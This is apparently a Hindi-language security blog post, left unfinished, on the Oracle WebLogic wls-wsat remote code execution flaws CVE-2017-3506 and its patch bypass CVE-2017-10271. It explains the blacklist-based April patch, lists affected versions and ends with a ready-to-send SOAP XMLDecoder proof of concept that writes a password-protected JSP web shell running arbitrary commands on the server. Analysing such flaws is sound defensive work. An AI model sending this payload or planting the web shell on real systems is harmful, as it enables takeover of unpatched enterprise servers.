
WebLogic wls-wsat RCE CVE-2017-10271
WebLogic wls-wsat RCE CVE-2017-10271
प्रारंभ में, हैकर्स ने एंटरप्राइज़ सर्वरों पर बड़े पैमाने पर दूरस्थ हमले करने के लिए WebLogic WLS घटक भेद्यता का उपयोग किया, जिसके परिणामस्वरूप बड़ी संख्या में उद्यमों के सर्वर से समझौता किया गया, और प्रभावित उद्यमों की संख्या में स्पष्ट वृद्धि हुई है, जिस पर उच्च ध्यान देने की आवश्यकता है। उनमें से, CVE-2017-3506 Oracle WebLogic में WLS घटक का उपयोग करने वाली एक दूरस्थ कोड निष्पादन भेद्यता है, जो सार्वजनिक रूप से अज्ञात विवरण के साथ एक जंगली शोषण भेद्यता है, और बड़ी संख्या में उद्यमों ने अभी तक समय पर पैच स्थापित नहीं किया है। आधिकारिक तौर पर अप्रैल 2017 में इस भेद्यता के लिए पैच जारी किया गया था।
CVE-2017-3506 पैच स्पष्टीकरण:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
इसमें केवल डिसीरियलाइज़ेशन से पहले एक validate फ़ंक्शन जोड़ा गया है। यदि qName object के बराबर है, तो यह एक अपवाद फेंकता है और समाप्त करता है। इसे सरल और क्रूर कहा जा सकता है, हालांकि, ब्लैकलिस्ट-आधारित यह मरम्मत पूरी तरह से ठीक करना मुश्किल है। इस पर विचार करने योग्य है…
इस भेद्यता का शोषण करने की विधि अपेक्षाकृत सरल है। हमलावर को केवल एक विशेष रूप से तैयार HTTP अनुरोध भेजने की आवश्यकता है, और वे लक्ष्य सर्वर की अनुमतियाँ प्राप्त कर सकते हैं, जो अत्यधिक हानिकारक है। चूंकि भेद्यता अपेक्षाकृत नई है, अभी भी कई होस्ट हैं जिन्होंने संबंधित पैच अपडेट नहीं किया है। यह अनुमान लगाया गया है कि इस अचानक घटना के बाद, हमले की घटनाओं की संख्या में तेजी से वृद्धि हो सकती है, और बड़ी संख्या में नए होस्ट से समझौता किया जा सकता है।
Oracle के आधिकारिक अप्रैल पैच ने CVE-2017-3506 भेद्यता को पूरी तरह से ठीक नहीं किया। पैच को बायपास किया जा सकता है और दूरस्थ कमांड को अभी भी निष्पादित किया जा सकता है। CVE-2017-10271 वर्तमान में बायपास भेद्यता को आधिकारिक तौर पर अक्टूबर में जारी पैच में ठीक कर दिया गया है।
CVE-2017-3506 (wls-wsat रिमोट कमांड निष्पादन भेद्यता) CVE-2017-10271 (wls-wsat रिमोट कमांड निष्पादन बायपास भेद्यता)
Oracle WebLogic Server10.3.6.0.0 संस्करण Oracle WebLogic Server12.1.3.0.0 संस्करण Oracle WebLogic Server12.2.1.1.0 संस्करण Oracle WebLogic Server12.2.1.2.0 संस्करण
Poc:
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
अभी पूरा नहीं हुआ, कुछ काम से बाहर जाना पड़ा…।